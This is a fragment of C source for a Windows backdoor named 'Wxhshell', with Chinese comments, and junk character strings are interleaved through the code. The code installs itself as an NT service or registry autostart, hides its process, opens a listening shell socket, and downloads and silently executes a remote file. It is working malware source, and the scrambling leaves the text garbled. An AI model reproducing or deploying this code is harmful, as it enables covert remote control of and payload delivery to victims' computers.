8-g$HXqs_# xzf)_ < CloseHandle(hProcess); ]I*#R9 >8mW-p if(strstr(procName,"services")) return 1; // 以服务启动 #<V'gE 5bqYi return 0; // 注册表启动 4#Nd;gM2 } {Z~VO 9787uj]Y}H // 主模块 %!hA\S int StartWxhshell(LPSTR lpCmdLine) }y=n#%|i. { k3|9U'r!c SOCKET wsl; b!tZ bX# BOOL val=TRUE; fO}1(%}d int port=0; W,oV$ s^ struct sockaddr_in door; wCE fR!i +VI0 oo {Z if(wscfg.ws_autoins) Install(); wYxFjXm {~p %\ port=atoi(lpCmdLine); ljR?* P P9HPr2 if(port<=0) port=wscfg.ws_port; 8w@jUGsc l=OC?d*m WSADATA data; d5W[A#} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I:2jwAl Q ]koj!mMl if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O7_NXfh| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K]azUK7 door.sin_family = AF_INET; }j<_JI door.sin_addr.s_addr = inet_addr("127.0.0.1"); #(}_2x5 door.sin_port = htons(port); ewlc ^` Q^5 t]HKn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xx2:5 closesocket(wsl); 9Qm{\ return 1; `fE:5y } `];[T= 9(Xch2tpO! if(listen(wsl,2) == INVALID_SOCKET) { 9!OCilG closesocket(wsl); .;sPG return 1; k/rkJ|i+p } a+Qj[pS Wxhshell(wsl); pDS4_u WSACleanup(); fHp#Gi3Lz
M]:B: ; return 0; sy#j+gZ
L1w4WFWO } +( 7vmC. KE1@z] // 以NT服务方式启动 vP;tgW9Qk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j3'/jk]\ { T//+&Sk[ DWORD status = 0; j
W]c9u DWORD specificError = 0xfffffff; 9Yne=R/] /u1zRw serviceStatus.dwServiceType = SERVICE_WIN32; GnHf9
JrR serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z"&ODVP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wx7>0[ zE serviceStatus.dwWin32ExitCode = 0; @)B5^[4(; serviceStatus.dwServiceSpecificExitCode = 0; R_&V.\e_ serviceStatus.dwCheckPoint = 0; {*
_ W serviceStatus.dwWaitHint = 0; pNme jz: GdwHm hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c^UM(bW if (hServiceStatusHandle==0) return; xg!\C@$
]@
0V status = GetLastError(); xGQ:7g+qu if (status!=NO_ERROR) C
5!6k1TcE { 3]82gZGG serviceStatus.dwCurrentState = SERVICE_STOPPED; ,=yIfbFQ serviceStatus.dwCheckPoint = 0; <1K:
G/! serviceStatus.dwWaitHint = 0; V^H47O;VC serviceStatus.dwWin32ExitCode = status; 9GOyVKUv serviceStatus.dwServiceSpecificExitCode = specificError; _C\
d^a( SetServiceStatus(hServiceStatusHandle, &serviceStatus); o[*ih\d return; eh=bClk } nr%^:u ,$*klod serviceStatus.dwCurrentState = SERVICE_RUNNING; o{,(`o.1O serviceStatus.dwCheckPoint = 0; 438>)= serviceStatus.dwWaitHint = 0; _e^V\O> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BbhdGFG1 } 6iS+3+ gU$3Y#R // 处理NT服务事件,比如:启动、停止 Z.19v>-c VOID WINAPI NTServiceHandler(DWORD fdwControl) SaScP { rV{e[fGd switch(fdwControl) N1+]3kt ~ { N1t:i? q& case SERVICE_CONTROL_STOP: je0 ?iovY serviceStatus.dwWin32ExitCode = 0; pfIvBU? serviceStatus.dwCurrentState = SERVICE_STOPPED; KWkT
9[H serviceStatus.dwCheckPoint = 0; ~#xRoBy3 serviceStatus.dwWaitHint = 0; RozsRt;i { !T1i_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); +w/o } Zz ?y&T return; x@x@0k`A2 case SERVICE_CONTROL_PAUSE: TMs\#
serviceStatus.dwCurrentState = SERVICE_PAUSED; [r~lO@ break; 4iPg_+ case SERVICE_CONTROL_CONTINUE: UY^f|f& serviceStatus.dwCurrentState = SERVICE_RUNNING; qTex\qP break; mQ)l`wGh case SERVICE_CONTROL_INTERROGATE: #@`^
. break; aesFv)5DK }; BF#e=p SetServiceStatus(hServiceStatusHandle, &serviceStatus); |8rJqtf +& } Y`Rf E F:U_gW? // 标准应用程序主函数 Gj0NN: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 11'Tt! { 6<GWDO a_x6 v* // 获取操作系统版本 O`| ri5d OsIsNt=GetOsVer(); s!\L1E GetModuleFileName(NULL,ExeFile,MAX_PATH); M>#S
z L*38T\ // 从命令行安装 )HHzvGsL) if(strpbrk(lpCmdLine,"iI")) Install(); S]{Z_|h*j :@L5=2Z+ // 下载执行文件 [O'p&j@ if(wscfg.ws_downexe) {
]YKWa" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y->iv% WinExec(wscfg.ws_filenam,SW_HIDE); h Nwb.[ } U3QnWPt}> O*7~t17 if(!OsIsNt) { ;RYKqUE // 如果时win9x,隐藏进程并且设置为注册表启动 C $;~= HideProc(); EtG)2) StartWxhshell(lpCmdLine); 1gr jK.x } gr7_oJ:R else &0TheY;srf if(StartFromService()) K!mgh7Dx // 以服务方式启动 ' ga2C\) StartServiceCtrlDispatcher(DispatchTable); 5sUnEHN else =Ch#pLmH // 普通方式启动 $<#sCrNX StartWxhshell(lpCmdLine); '%4,! Ks-><-2+N return 0; 19DW~kvYk }
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